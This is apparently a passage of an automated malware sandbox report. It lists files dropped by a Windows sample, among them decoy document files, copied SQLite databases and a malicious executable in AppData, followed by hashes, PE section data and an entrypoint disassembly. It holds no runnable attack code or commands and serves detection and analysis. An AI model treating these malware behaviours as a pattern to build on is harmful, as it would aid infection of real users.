Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\QNCYCDFIJJ.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Reputation:	unknown
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\Temp\QNCYCDFIJJ.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Reputation:	unknown
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\Temp\S2VKXL68 Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589421877427324
Encrypted:	false
SSDEEP:	48:T9YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:2WU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16B54B80578A453C3615068532495897
SHA1:	03D021364027CDE0E7AE5008940FEB7E07CA293C
SHA-256:	75A16F4B0214A2599ECFBB1F66CAE146B257D11106494858969B19CABCB9B541
SHA-512:	C11979FE1C82B31FDD6457C8C2D157FB4C9DF4FE55457D54104B59F3F880898D82A947049DEB948CA48A5A64A75CFBFC38FDB2E108026EBE7CA9EBE8B1793797
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SQSJKEBWDT.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Reputation:	unknown
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\Temp\SUAVTZKNFL.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Reputation:	unknown
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\SUAVTZKNFL.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Reputation:	unknown
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\UKX479HV Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZQIXMVQGAH.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Reputation:	unknown
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Roaming\iudbdfd Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	339456
Entropy (8bit):	6.2109870215281795
Encrypted:	false
SSDEEP:	6144:EBGT3isLw0aTaB2Wc/Kimyj3OAHgAdHrlwZ0:EBGTSsLw0aTaB2Wc/jmyjNAAdHeZ
MD5:	31646747FE74D32212A7CBCB97C7D78D
SHA1:	62DF758F397934053749EE38416A74F81A6D8ED6
SHA-256:	02BCB080116AB55475EDBCD1293246A0E5D8894793EE9E699DB805BFF2935408
SHA-512:	D665C5A31DE37667636D439483D46BCD1CA7F612256889A9C2B4CDAB49FAAE2E23FE1DBBCE09043EEE0B17C65CD7CBA400A133A5B06720062D81CECA345A1483
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L...t.e`..................... .......=............@..........................@..................................................(........b.......................!..p...................................@............................................text............................... ..`.data...ho..........................@....rufewev.....p.......~..............@....cecapu.............................@....rsrc....b.......d..................@..@.reloc...;.......<..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\iudbdfd:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.2109870215281795
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	H4HU4rg1NM.exe
File size:	339456
MD5:	31646747fe74d32212a7cbcb97c7d78d
SHA1:	62df758f397934053749ee38416a74f81a6d8ed6
SHA256:	02bcb080116ab55475edbcd1293246a0e5d8894793ee9e699db805bff2935408
SHA512:	d665c5a31de37667636d439483d46bcd1ca7f612256889a9c2b4cdab49faae2e23fe1dbbce09043eee0b17c65cd7cba400a133a5b06720062d81ceca345a1483
SSDEEP:	6144:EBGT3isLw0aTaB2Wc/Kimyj3OAHgAdHrlwZ0:EBGTSsLw0aTaB2Wc/jmyjNAAdHeZ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L...t.e`..................... .....

File Icon


Icon Hash:	a2e8e8e8a2a2a488

Static PE Info

General
Entrypoint:	0x423d80
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x6065F974 [Thu Apr 1 16:48:52 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	39de84e7a601fa8861e0e6a8c8b0a138

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F99A0BA155Bh
call 00007F99A0B98C36h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043E6B0h
push 004275C0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [00447B80h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401228h]
cmp dword ptr [004C6F4Ch], 00000000h
jne 00007F99A0B98C30h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401224h]
call 00007F99A0B98DB3h
mov dword ptr [ebp-6Ch], eax
call 00007F99A0B9D36Bh
test eax, eax
jne 00007F99A0B98C2Ch
push 0000001Ch
call 00007F99A0B98D70h
add esp, 04h
call 00007F99A0B9E768h
test eax, eax
jne 00007F99A0B98C2Ch
push 00000010h
call 00007F99A0B98D5Dh
add esp, 04h
push 00000001h
call 00007F99A0B97ED3h
add esp, 04h
call 00007F99A0BA06DBh
mov dword ptr [ebp-04h], 00000000h
call 00007F99A0BA1EBFh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3eb9c	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc9000	0x6288	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd0000	0x211c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1370	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa5b8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2e8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3ed1e	0x3ee00	False	0.565548117545	data	6.87603308469	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x86f68	0x8c00	False	0.0388113839286	data	0.688539814486	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rufewev	0xc7000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.cecapu	0xc8000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xc9000	0x6288	0x6400	False	0.4823046875	data	5.03238369748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd0000	0x3bee	0x3c00	False	0.451888020833	data	4.58670920113	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0xcca90	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xccbd8	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xccd08	0xf0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xccdf8	0x10a8	dBase III DBT, version number 0, next free block index 40	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xcded0	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0xc95a0	0x8a8	data	Spanish	Colombia
RT_ICON	0xc9e48	0x6c8	data	Spanish	Colombia
RT_ICON	0xca510	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0xcaa78	0x10a8	data	Spanish	Colombia
